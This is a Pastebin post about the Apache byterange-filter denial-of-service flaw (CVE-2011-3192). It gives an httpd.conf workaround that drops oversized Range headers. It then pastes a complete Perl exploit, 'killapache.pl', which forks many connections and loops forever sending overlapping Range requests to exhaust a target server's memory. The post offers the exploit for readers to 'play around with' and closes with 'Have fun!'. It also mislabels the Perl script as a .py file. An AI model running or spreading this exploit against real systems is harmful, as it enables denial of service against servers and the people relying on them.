Advertisement
itnetsec

Fix for Apache byterange filter DoS

Dec 5th, 2011
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.68 KB | None | 0 0
  1. There is a nasty little bug out there that affects Apache's byterange filter. The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges.
  2.  
  3. More information here:
  4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
  5.  
  6. Luckily there is a workaround for this. First, see if you have mod_headers installed:
  7. locate mod_headers
  8.  
  9. #BEGIN TERMINAL OUTPUT
  10. [root@apollo ~]# locate mod_headers
  11. /_restore/102810/usr/lib/httpd/modules/mod_headers.so
  12. /usr/lib/httpd/modules/mod_headers.so
  13. #END TERMINAL OUTPUT
  14.  
  15. Now, we need to add a few lines to the httpd.conf file. Mine is located at:
  16. vi /etc/httpd/conf/httpd.conf
  17.  
  18. Look for this line:
  19. LoadModule headers_module modules/mod_headers.so
  20.  
  21. Insert this code under "LoadModule headers_module modules/mod_headers.so":
  22. <IfModule mod_headers.c>
  23. # Drop the Range header when more than 5 ranges.
  24. # CVE-2011-3192
  25. SetEnvIf Range (?:,.*?){5,5} bad-range=1
  26. RequestHeader unset Range env=bad-range
  27. # We always drop Request-Range; as this is a legacy
  28. # dating back to MSIE3 and Netscape 2 and 3.
  29. RequestHeader unset Request-Range
  30. # optional logging.
  31. CustomLog logs/range-CVE-2011-3192.log common env=bad-range
  32. CustomLog logs/range-CVE-2011-3192.log common env=bad-req-range
  33. </IfModule>
  34.  
  35.  
  36. The code we added above will drop the Range header request and it's set to log this data.
  37.  
  38. Just restart Apache for the settings to take effect:
  39. /etc/init.d/httpd restart
  40.  
  41. Here is the exploit code if you want to play around with it, just save it to a .py file:
  42.  
  43. #BEGIN EXPLOIT CODE
  44. #Apache httpd Remote Denial of Service (memory exhaustion)
  45. #By Kingcope
  46. #Year 2011
  47. #
  48. # Will result in swapping memory to filesystem on the remote side
  49. # plus killing of processes when running out of swap space.
  50. # Remote System becomes unstable.
  51. #
  52.  
  53. use IO::Socket;
  54. use Parallel::ForkManager;
  55.  
  56. sub usage {
  57. print "Apache Remote Denial of Service (memory exhaustion)\n";
  58. print "by Kingcope\n";
  59. print "usage: perl killapache.pl <host> [numforks]\n";
  60. print "example: perl killapache.pl www.example.com 50\n";
  61. }
  62.  
  63. sub killapache {
  64. print "ATTACKING $ARGV[0] [using $numforks forks]\n";
  65.  
  66. $pm = new Parallel::ForkManager($numforks);
  67.  
  68. $|=1;
  69. srand(time());
  70. $p = "";
  71. for ($k=0;$k<1300;$k++) {
  72. $p .= ",5-$k";
  73. }
  74.  
  75. for ($k=0;$k<$numforks;$k++) {
  76. my $pid = $pm->start and next;
  77.  
  78. $x = "";
  79. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  80. PeerPort => "80",
  81. Proto => 'tcp');
  82.  
  83. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  84. print $sock $p;
  85.  
  86. while(<$sock>) {
  87. }
  88. $pm->finish;
  89. }
  90. $pm->wait_all_children;
  91. print ":pPpPpppPpPPppPpppPp\n";
  92. }
  93.  
  94. sub testapache {
  95. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  96. PeerPort => "80",
  97. Proto => 'tcp');
  98.  
  99. $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
  100. print $sock $p;
  101.  
  102. $x = <$sock>;
  103. if ($x =~ /Partial/) {
  104. print "host seems vuln\n";
  105. return 1;
  106. } else {
  107. return 0;
  108. }
  109. }
  110.  
  111. if ($#ARGV < 0) {
  112. usage;
  113. exit;
  114. }
  115.  
  116. if ($#ARGV > 1) {
  117. $numforks = $ARGV[1];
  118. } else {$numforks = 50;}
  119.  
  120. $v = testapache();
  121. if ($v == 0) {
  122. print "Host does not seem vulnerable\n";
  123. exit;
  124. }
  125. while(1) {
  126. killapache();
  127. }
  128. #END EXPLOIT CODE
  129.  
  130. This will take down a box within a matter of minutes, if not, seconds. Have fun!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement